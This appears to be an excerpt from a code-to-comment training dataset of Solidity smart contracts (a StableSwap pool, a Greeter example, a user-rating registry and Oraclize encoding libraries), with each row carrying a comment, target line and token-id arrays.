uint256[] memory newBalances = arrCopy(oldBalances);
uint256 D0 = getDMem(oldBalances, amp);
for (uint256 i = 0; i < N_COINS; i++) {
newBalances[i] -= amounts[i];
}
uint256 D1 = getDMem(newBalances, amp);
uint256[] memory fees = new uint256[](N_COINS);
{
uint256 _fee = (fee * N_COINS) / (4 * (N_COINS - 1));
uint256 _adminFee = adminFee;
for (uint256 i = 0; i < N_COINS; i++) {
uint256 idealBalance = (D1 * oldBalances[i]) / D0;
uint256 difference = 0;
if (idealBalance > newBalances[i]) {
difference = idealBalance - newBalances[i];
} else {
difference = newBalances[i] - idealBalance;
}
fees[i] = (_fee * difference) / FEE_DENOMINATOR;
_storedBalances[i] = newBalances[i] - ((fees[i] * _adminFee) / FEE_DENOMINATOR);
newBalances[i] -= fees[i];
}
}
uint256 D2 = getDMem(newBalances, amp);
uint256 tokenAmount = ((D0 - D2) * tokenSupply) / D0;
require(tokenAmount != 0); // dev: zero tokens burned
tokenAmount += 1; // In case of rounding errors - make it unfavorable for the "attacker"
require(tokenAmount <= maxBurnAmount, "Slippage screwed you");
IPoolToken(token).burn(msg.sender, tokenAmount); // dev: insufficient funds
for (uint256 i = 0; i < N_COINS; i++) {
if (amounts[i] != 0) {
// "safeTransfer" which works for KIP7s which return bool or not
rawCall(coins[i], abi.encodeWithSignature("transfer(address,uint256)", msg.sender, amounts[i]));
}
}
emit RemoveLiquidityImbalance(msg.sender, amounts, fees, D1, tokenSupply - tokenAmount);
return tokenAmount;
}
function _calcWithdrawOneCoin(
uint256 _tokenAmount,
uint256 i,
bool withoutFee
)
internal
view
returns (
uint256,
uint256,
uint256
)
{
// First, need to calculate
// * Get current D
// * Solve Eqn against y_i for D - _tokenAmount
uint256 amp = _A();
uint256 totalSupply = IPoolToken(token).totalSupply();
uint256[] memory xp = _xp();
uint256 D0 = getD(xp, amp);
uint256 D1 = D0 - (_tokenAmount * D0) / totalSupply;
uint256[] memory xpReduced = arrCopy(xp);
uint256 newY = getYD(amp, i, xp, D1);
uint256 dy0 = (xp[i] - newY) / PRECISION_MUL[i]; // w/o fees, precision depends on coin
{
uint256 _fee = ((withoutFee ? 0 : fee) * N_COINS) / (4 * (N_COINS - 1));
for (uint256 j = 0; j < N_COINS; j++) {
uint256 dxExpected = 0;
if (j == i) {
dxExpected = (xp[j] * D1) / D0 - newY;
} else {
dxExpected = xp[j] - (xp[j] * D1) / D0;
// 10**18
}
xpReduced[j] -= (_fee * dxExpected) / FEE_DENOMINATOR;
}
}
uint256 dy = xpReduced[i] - getYD(amp, i, xpReduced, D1);
dy = (dy - 1) / PRECISION_MUL[i]; // Withdraw less to account for rounding errors
return (dy, dy0 - dy, totalSupply);
}
function calcWithdrawOneCoin(uint256 _tokenAmount, uint256 i) external view override returns (uint256) {
(uint256 result, , ) = _calcWithdrawOneCoin(_tokenAmount, i, false);
return result;
}
function calcWithdrawOneCoinWithoutFee(uint256 _tokenAmount, uint256 i) external view override returns (uint256) {
(uint256 result, , ) = _calcWithdrawOneCoin(_tokenAmount, i, true);
return result;
}
function removeLiquidityOneCoin(
uint256 _tokenAmount,
uint256 i,
uint256 minAmount
) external override nonReentrant whenNotPaused returns (uint256) {
/*
Remove _amount of liquidity all in a form of coin i
*/
(uint256 dy, uint256 dyFee, uint256 totalSupply) = _calcWithdrawOneCoin(_tokenAmount, i, false);
require(dy >= minAmount, "Not enough coins removed");
_storedBalances[i] -= (dy + (dyFee * adminFee) / FEE_DENOMINATOR);
IPoolToken(token).burn(msg.sender, _tokenAmount); // dev: insufficient funds
// "safeTransfer" which works for KIP7s which return bool or not
rawCall(coins[i], abi.encodeWithSignature("transfer(address,uint256)", msg.sender, dy));
uint256[] memory amounts = new uint256[](N_COINS);
uint256[] memory fees = new uint256[](N_COINS);
amounts[i] = dy;
fees[i] = dyFee;
emit RemoveLiquidityOne(msg.sender, _tokenAmount, amounts, fees, totalSupply - _tokenAmount);
return dy;
}
function transferOwnership(address newOwner) public override(IStableSwap, StableSwap) onlyOwner {
super.transferOwnership(newOwner);
}
function adminBalances(uint256 i) public view override(IStableSwap, StableSwap) returns (uint256) {
return IKIP7(coins[i]).balanceOf(address(this)) - _storedBalances[i];
}
function withdrawAdminFees(address recipient) external override onlyOperator {
require(recipient != address(0), "StableSwap::withdrawAdminFee: 0 address");
for (uint256 i = 0; i < N_COINS; i++) {
address c = coins[i];
uint256 value = IKIP7(c).balanceOf(address(this)) - _storedBalances[i];
if (value > 0) {
// "safeTransfer" which works for KIP7s which return bool or not
rawCall(c, abi.encodeWithSignature("transfer(address,uint256)", recipient, value));
}
}
}
function donateAdminFees() external override onlyOwner {
for (uint256 i = 0; i < N_COINS; i++) {
_storedBalances[i] = IKIP7(coins[i]).balanceOf(address(this));
}
}
}
|
We need to recalculate the invariant accounting for fees to calculate fair user's share
|
uint256 D2 = D1;
| 1,022,111 |
[
1,
3218,
1608,
358,
26657,
326,
22514,
2236,
310,
364,
1656,
281,
358,
4604,
284,
1826,
729,
1807,
7433,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
463,
22,
273,
463,
21,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
// Modified Greeter contract. Based on example at https://www.ethereum.org/greeter.
contract Mortal {
/* Define variable owner of the type address*/
address owner;
/* this function is executed at initialization and sets the owner of the contract */
constructor () public { owner = msg.sender; }
/* Function to recover the funds on the contract */
function kill() public { if (msg.sender == owner) selfdestruct(owner); }
}
contract Greeter is Mortal {
/* define variable greeting of the type string */
string greeting;
/* this runs when the contract is executed */
constructor (string _greeting) public {
greeting = _greeting;
}
function newGreeting(string _greeting) public {
emit Modified(greeting, _greeting, greeting, _greeting);
greeting = _greeting;
}
/* main function */
function greet() public constant returns (string) {
return greeting;
}
/* we include indexed events to demonstrate the difference that can be
captured versus non-indexed */
event Modified(
string indexed oldGreetingIdx, string indexed newGreetingIdx,
string oldGreeting, string newGreeting);
}
|
Define variable owner of the type address*/ this function is executed at initialization and sets the owner of the contract */
|
constructor () public { owner = msg.sender; }
| 12,767,530 |
[
1,
11644,
2190,
3410,
434,
326,
618,
1758,
19,
333,
445,
353,
7120,
622,
10313,
471,
1678,
326,
3410,
434,
326,
6835,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1832,
1071,
288,
3410,
273,
1234,
18,
15330,
31,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.21 <0.6.0;
import "./User.sol";
import "./Interfaces.sol";
import "./AssetStorage.sol";
import "./FunctionRegistry.sol";
import "./DatabaseSkills.sol";
/// @author Andrea Lisi, Samuel Fabrizi
/// @title RatingSystemFramework
/// @notice This contract is the top stack actor, it interfaces with the users providing methods to insert/remove users
contract RatingSystemFramework is Ownable {
// Data
FunctionRegistry public functionRegistry; // Registry for the RatingFunction contracts
OwnableStoragePointer private users; // Structure to store users
DatabaseSkills public dbSkills; // Structure to store the available skills
mapping(address => User) private userAddresses; // Ensure that a single account can instantiate only a single User contract
// Events
event UserCreated(User _userContract);
/// @dev The constructor simply calls the Ownable constructor to store the owner which is the creator of this contract
constructor () Ownable(msg.sender) public {
functionRegistry = new FunctionRegistry(msg.sender); // The owner of RatingSystemFramework is the owner of the Registry
users = new OwnableStoragePointer(address(this)); // Because (this) interacts with the storage
dbSkills = new DatabaseSkills(msg.sender); // Creates the instances of DatabaseSkill contract (Unique in an instance of RatingSystem)
}
/// @notice Creates a User with an username
/// @param _name the username of the user willing to subscribe
/// @dev If the sender has not already a User contract, stores inside users a new User contract, and then updates the map userAddresses to connect sender-User
function createUser(bytes32 _name) external {
require(address(userAddresses[msg.sender]) == address(0x0), "This address has already a User registered");
User user = new User(_name, msg.sender); /// <= This line raises up the cost of the contract deployment by a lot (almost 6M gas)
userAddresses[msg.sender] = user;
users.insert(address(user));
emit UserCreated(user);
}
/// @notice Removes a User
/// @param _user The address of the User contract to remove
/// @dev This function removes from the storage the User contract and then removes from the map of addresses the attached User contract. The User contract is still alive, its destruction depends on its owner
function deleteUser(User _user) external {
require(userAddresses[msg.sender] == _user, "You cannot remove other's user's contracts");
delete userAddresses[msg.sender];
users.remove(address(_user));
}
/// @notice Get the User contract attached to the sender
/// @return A User contract
function getMyUserContract() external view returns(User) {
return userAddresses[msg.sender];
}
/// @notice Get the list of the addresses of stored User contracts
/// @return The list of stored Users contracts
/// @dev Returning here a User[] would involve a loop cycle to cast address=>User
function getUsers() external view returns(address[] memory) {
return users.getAssets();
}
/// @notice Check if a User contract is present
/// @param _user Contract User to check the presence
/// @return true if _user is present
function isIn(User _user) external view returns(bool) {
return users.isIn(address(_user));
}
// May be deleted
/// @notice Get the number of stored User contracts in this System
/// @return The number of stored User contracts
function userCount() external view returns(uint) {
return users.getCount();
}
/// @notice checks if the input skill is alredy stored in DatabaseSkills contract
/// @param _skill The sought skill
function checkSkillExistence(bytes32 _skill) public view returns (bool) {
return dbSkills.checkSkillExistence(_skill);
}
// /// @notice Get the address of the User contract at a given index
// /// @param _index The index to check
// /// @return The User contract address
// /// @dev Debug function
// function getUserByIndex(uint _index) external view returns(User) {
// return User(users.getKeyAt(_index));
// }
}
|
Because (this) interacts with the storage
|
users = new OwnableStoragePointer(address(this));
| 7,233,622 |
[
1,
38,
11884,
261,
2211,
13,
16592,
87,
598,
326,
2502,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3677,
273,
394,
14223,
6914,
3245,
4926,
12,
2867,
12,
2211,
10019,
3639,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xBD7e92Cf6F857be8541FCa6abfB72aeF8e16c307/sources/ProdigyBot.sol
|
* @notice Whether the transactions and wallets are limited or not./
|
function setIsLimited(bool isIt) external onlyOwner {
limited = isIt;
}
| 15,585,903 |
[
1,
18247,
326,
8938,
471,
17662,
2413,
854,
13594,
578,
486,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
15269,
3039,
329,
12,
6430,
353,
7193,
13,
3903,
1338,
5541,
288,
203,
202,
202,
21325,
273,
353,
7193,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
// Allocate space for the buffer data
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
/**
* @dev Appends a byte array to the end of the buffer. Resizes if doing so
* would exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Start address = buffer address + buffer length + sizeof(buffer length)
dest := add(add(bufptr, buflen), 32)
// Update buffer length
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
// Update buffer length
mstore(bufptr, add(buflen, 1))
}
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length) + len
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
